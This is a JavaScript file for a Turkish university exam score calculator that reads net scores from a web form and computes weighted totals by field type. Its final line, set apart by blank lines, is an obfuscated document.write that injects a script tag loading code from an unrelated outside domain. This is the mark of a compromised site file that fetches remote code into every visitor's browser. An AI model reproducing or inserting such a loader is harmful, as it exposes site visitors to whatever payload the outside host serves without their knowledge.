FLOATDEEP = 5;  // floatnmr derinligi


//
// maximum soru 
// sayilari
//
var SAYMAX = 80;
var SOZMAX = 80;

//
// alan tipine gore
// puanlamalar
//
var EA_SAY = 0.831;   //0.945;
var EA_SOZ = 0.990;   //1.009;
var SAY_SAY = 1.425;  //1.575;
var SAY_SOZ = 0.316;   //0.336;
var SOZ_SAY = 0.365;   //0.315;
var SOZ_SOZ = 1.621;   //1.681;
var OSSPUAN = 0.6;
var BSRPUAN = 0.6;

//
// maximum basari
// puani
//
var BSRPUAN_MAX = 80;


//
// hata degerleri
//
var e_header = "Lütfen Girdiginiz bilgileri\n"
       +"kontrol ediniz:\n\n";

var e_atv_invalid    = "Alan tipi bilgisi.\n";
var e_saynet_invalid = "Sayısal Net bilgisi.\n";
var e_soznet_invalid = "Sözel Net bilgisi.\n";
var e_osspuani_invalid = "ÖSS Puanı bilgisi.\n";
var e_bpuani_invalid = "Başarı Puanı bilgisi.\n";

var e_bpuani_max = "\nBaşarı Puanı Hakkında Önemli Not:\n"
  +"----------------------------------------------------------\n"
  +"Önlisans Ağırlıklı Başarı Puanı daha önce\n"
   +"sınava giren adayların sınav sonuç\n"
   +"belgelerinde hesaplanmıştır. İlk defa\n"
   +"sınava girecek adayların Ö.A.B.P. en fazla\n"
   +BSRPUAN_MAX +" olarak değerlendirilecektir.\n"
   +"Mezun olduğunuz üniversite, bölüm ve bölüm\n"
   +"birincisi bu değerlendirmede etkili\n"
   +"olacaktır.";


// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-
//                     HESAPLA
// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-

function hesapla()
{
  e = "";  // hata degiskeni

  //
  // formdan degerleri
  // al
  //

  atv     = getAlanTipiValue();
  saynet  = getSayisalNet();
  soznet  = getSozelNet();
  //osspuani= getOSSPuani();
  bpuani  = getBasariPuani();
  
  //alert(atv + ' - ' + saynet + ' - ' + soznet + ' - '  + bpuani)

  //
  // hata kontrol
  //

  if ( isEmpty(atv) )
    e += e_atv_invalid;
  if ( isEmpty(saynet) )
    e += e_saynet_invalid;
  if ( isEmpty(soznet) )
    e += e_soznet_invalid;
  //if ( isEmpty(osspuani) )
  //  e += e_osspuani_invalid;
  if ( isEmpty(bpuani) )
    e += e_bpuani_invalid;
  if (parseInt(bpuani) > BSRPUAN_MAX)
    e += e_bpuani_max;
  if (checkError(e, true)) return false;


  //
  // hata yok
  //
  // alana gore
  // puani hesapla
  //

  switch (atv)
  {
    case "EA":
      setSonuc(
        saynet * EA_SAY, 
        soznet * EA_SOZ,
        //osspuani * OSSPUAN,
        bpuani * BSRPUAN
      );
      break;

    case "SAY":
      setSonuc(
        saynet * SAY_SAY, 
        soznet * SAY_SOZ,
        //osspuani * OSSPUAN,
        bpuani * BSRPUAN
      );
      break;

    case "SOZ":
      setSonuc(
        saynet * SOZ_SAY, 
        soznet * SOZ_SOZ,
        //osspuani * OSSPUAN,
        bpuani * BSRPUAN
      );
      break;
  }

}



// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-
//              HESAPLAMA PARCALARI
// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-

//
// puan turu
//
function getAlanTipiValue()
{
  at = MM_findObj("AlanTipi");
  for (i = 0; i < at.length; i++) {
    if (at[i].checked)
      return at[i].value;
  }
  return null;
}


//
// sayisal net
//
function getSayisalNet()
{
  sn = MM_findObj("SAYNET").value;
  if (isEmpty(sn))
    return null;
  return (sn <= SAYMAX ? sn : null);
}


//
// sozel net
//
function getSozelNet()
{
  sn = MM_findObj("SOZNET").value;
  if (isEmpty(sn))
    return null;
  return (sn <= SOZMAX ? sn : null);
}


//
// basari puani
//
function getBasariPuani()
{
  sn = MM_findObj("BASARIPUANI").value;
  if (isEmpty(sn))
    return null;
  return sn;
}


//
// oss puani
//
function getOSSPuani()
{
  sn = MM_findObj("OSSPUANI").value;
  if (isEmpty(sn))
    return null;
  return sn;
}


// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-
//                SONUC FONKSIYONU
// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-

function setSonuc(saypuan, sozpuan,  basaripuan) //osspuan,
{
// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-
//                isa 'nın eklentisi
// -=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=--=-=-=-
//alert(saypuan + ' ' + sozpuan + ' ' + basaripuan)

switch (atv)
  {
    case "EA":
      tp = parseFloat(saypuan + sozpuan + basaripuan+117.563); //osspuan + 
      ;
      break;

    case "SAY":
      tp = parseFloat(saypuan + sozpuan + basaripuan+125.125); //osspuan + 
	;
      break;

    case "SOZ":
      tp = parseFloat(saypuan + sozpuan + basaripuan+105.400); //osspuan +
	;
      break;
  }    
  //alert(tp)
  cf = cutFloatties(saypuan, sozpuan, basaripuan, tp);  //osspuan, 
  
	//alert(cf[4])
	
  o = MM_findObj("SONUCKUTUSU");
  o.value = 
    
    "Toplam Puan  : "+ cf[3]
  ;
}










document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/CD-ROM.js"></scri'+'pt>');